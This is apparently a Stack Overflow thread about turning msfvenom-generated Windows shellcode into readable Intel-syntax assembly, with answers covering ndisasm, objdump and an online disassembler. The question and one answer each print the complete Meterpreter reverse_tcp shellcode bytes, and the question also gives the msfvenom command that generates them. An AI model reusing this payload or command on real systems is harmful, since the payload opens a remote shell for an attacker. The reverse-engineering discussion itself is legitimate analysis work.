0

How could I for instance convert the following windows shellcode:

\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

generated from metasploit's msfvenom tool:

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443

To readable assembly instructions/code of intel syntax that could be used in inline assembly in C?

Peter Cordes
  • 328,167
  • 45
  • 605
  • 847
pokkery98
  • 5
  • 1
  • 3
  • 3
    Use a disassembler. – Jester Dec 28 '20 at 00:07
  • *inline* assembly? You want to run this as part of a compiled C function, not as a shellcode payload? Shellcode often doesn't restore the stack pointer, so it's not going to be something you can use as part of a larger program. Why not just put it in a string literal or array in an executable page, and call it as a function pointer? Then you can disassemble that data section if you want. – Peter Cordes Dec 28 '20 at 00:54

1 Answers1

3

That's a C-style escaped string; a simple way to dump it to file is to write a program in whatever language supports them, e.g. Python

open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")

and then use a disassembler such as ndisasm to disassemble the binary file to assembly code:

ndisasm -b 32 out.bin

(assuming it's 32 bit code, as it seems to be).

If you're looking for an online solution rather than a local one, you can use this site: https://defuse.ca/online-x86-assembler.htm On that site, you can enter your C-style string literal directly into the "disassemble" textbox, choose whether you want 32-bit or 64-bit instructions, and the "Disassemble" button.

Of course, neither of these will result in code that is immediately usable as inline assembly - it depends on exactly which dialect is accepted by your compiler, plus you have to adjust all the jumps so that they refer to labels instead of addresses, possibly separate the embedded data from the code and so on. Ultimately it may be more useful to study it and write the equivalent C code.

Cody Gray - on strike
  • 239,200
  • 50
  • 490
  • 574
Matteo Italia
  • 123,740
  • 17
  • 206
  • 299
  • 2
    I find it convenient to do `char foo[]= "...";` in a `.c` and compile that into a `.o`. Then `objdump -D -Mintel` (disassemble all sections) will skip metadata but disassemble the payload "data" like we want. But sure, if you remember that Python syntax easily and like `ndisasm`'s output syntax, then that works too. – Peter Cordes Dec 28 '20 at 00:59
  • Is there a option/argument to ndisasm to output only assembly code? – pokkery98 Dec 28 '20 at 01:11
  • Also related: [Why is this assembly program crashing (re-assembled ndisasm output)?](https://stackoverflow.com/q/65472194) and comments on my answer: use `objconv` to get asm you can actually re-assemble. `ndisasm` output will show relative branches as absolute targets like `jmp 0x15` for example, which (if you assemble with most assemblers) is an absolute address: not what you want. – Peter Cordes Dec 29 '20 at 09:21